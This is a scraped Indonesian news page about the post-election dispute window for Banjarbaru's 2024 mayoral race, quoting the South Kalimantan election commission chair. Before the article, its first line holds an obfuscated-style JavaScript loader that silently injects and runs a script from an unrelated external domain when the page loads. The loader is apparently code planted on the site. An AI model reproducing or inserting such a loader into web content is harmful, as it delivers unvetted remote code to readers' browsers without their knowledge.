(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Tiga hari pasca penetapan hasil perolehan suara dan pasangan calon terpilih Pemilihan Kepala Daerah (Pilkada) 2024 oleh KPU Kota Banjarbaru, pihak berkeberataan dapat mengajukan keberatan atas keputusan.
Hal itu disampaikan Ketua KPU Provinsi Kalimantan Selatan (Kalsel), Andi Tenri Sompa usai menghadiri rapat pleno terbuka rekapitulasi penghitungan suara dan penetapan pasangan calon terpilih di Hotel Novotel Banjarmasin Airport, Senin (2/12/2024) malam.
“Kita ketahui bersama bahwa hasil yang ditetapkan semua sudah selesai karena di sini ada satu pasangan calon,” ujar Andi Tenri Sompa saat diwawancarai awak media, Senin (2/12/2024) malam.
Baca juga: Demo Warga Respon Suara Tidak Sah ‘Menang’ Pilwali Banjarbaru, Tuntut Pilkada Ulang!
“Dan terkait dengan polemik yang terjadi karena sudah ditetapkan tentunya kemudian pihak-pihak yang ditentukan dengan Undang-Undang boleh melakukan gugatan,” ujarnya.
Gugatan itu, kata Ketua KPU Kalsel, dapat dilakukan terbuka dalam waktu tiga hari ke Mahkamah Konstitusi (MK) mengacu pada Peraturan MK Nomor 4 Tahun 2024. Kemudian menurut pasal 70 PKPU Nomor 18 Tahun 2024 juga diatur terkaiy prosedur penyelesaian perselisihan hasil Pilkada 2024.
“Itu terbuka dalam waktu tiga hari diberi ruang, jika ada sengketa hasil,” tegasnya.
Baca juga: Sah! Lisa Halaby-Wartono Pemenang Pilwali Banjarbaru
Dalam rekapitulasi tingkat kota, kata Tenri, didapati sedikit penyesuaian dari Bawaslu terhadap surat suara yang sampai ke TPS.
“Ada dilakukan perbaikan menyesuaikan sinkronisasi dengan hasil yang sebenarnya,” kata dia.
“Ada yang kurang ada yang lebih, biasa pada saat perhitungan itu di TPS, kemudian jadi masukan kejadian khusus dan semua terlaporkan,” sambungnya.
Baca juga: Hadapi Nataru, PLN Siapkan Sistem Keamanan Obyek Vital Kelistrikan Kalsel
Soal kabar KPU Kalsel dipanggil oleh pimpinan KPU RI, Tenri mengaku hingga saat ini belum menerima panggilan sama sekali dari pimpinan di pusat.
“Sebelum ini kami konsultasi terus ke KPU RI baik melalui telepon ataupun melakukan khusus konsultasi langsung terkait persoalan ini ke KPU RI. Setelah itu sampai hari ini belum ada panggilan sama sekali,” tandas Tenri. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Perkumpulan Penyedia Jasa Boga Indonesia (PPJI) menyambangi Ibu… Read More
KANALKALIMANTAN.COM, AMUNTAI - Usaha aneka kuliner kue kering dan cemilan hasil usah bersama ibu-ibu yang… Read More
KANALKALIMANTAN.COM, AMUNTAI - Kelompok Masyarakat Peduli Gambut (KMPG) Desa Pulantani, Kecamatan Haur Gading, Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Fraksi-fraksi di Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru menyetujui atas usulan… Read More
Prof Denny : Terlapor dari Tiga Lembaga KPU Sekaligus, Ada 17 Terlapor Read More
KANALKALIMANTAN.COM, AMUNTAI - Camat Amuntai Tengah Budia Hendra, memberikan respon positif terhadap program bantuan hukum… Read More
This website uses cookies.